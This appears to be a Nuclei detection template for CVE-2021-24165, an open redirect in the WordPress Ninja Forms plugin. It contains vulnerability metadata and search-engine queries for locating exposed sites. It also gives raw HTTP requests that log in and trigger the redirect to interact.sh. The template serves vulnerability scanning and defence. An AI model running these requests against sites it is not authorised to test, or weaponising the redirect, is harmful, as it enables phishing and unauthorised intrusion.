id: CVE-2021-24165 info: name: WordPress Ninja Forms <3.4.34 - Open Redirect author: dhiyaneshDk,daffainfo severity: medium description: | WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware. remediation: | Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability. reference: - https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818 - https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24165 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24165 cwe-id: CWE-601 epss-score: 0.00129 epss-percentile: 0.46774 cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: ninjaforms product: ninja_forms framework: wordpress shodan-query: http.html:/wp-content/plugins/ninja-forms/ fofa-query: body=/wp-content/plugins/ninja-forms/ publicwww-query: /wp-content/plugins/ninja-forms/ tags: cve2021,cve,wordpress,redirect,wp-plugin,authenticated,wp,wpscan,ninjaforms http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_1 == 302' - 'status_code_2 == 302' - "contains(header_2, 'Location: https://interact.sh?client_id=1')" condition: and # digest: 4a0a00473045022036d05431f76855b89b0da70e963f8e4f8394936622f12ddaf2f4a6a96ea31036022100eebcaa6bef0d88f2de6f10a79cb3f763510f67efa22171def7588205f57bcb67:922c64590222798bb761d5b6d8e72950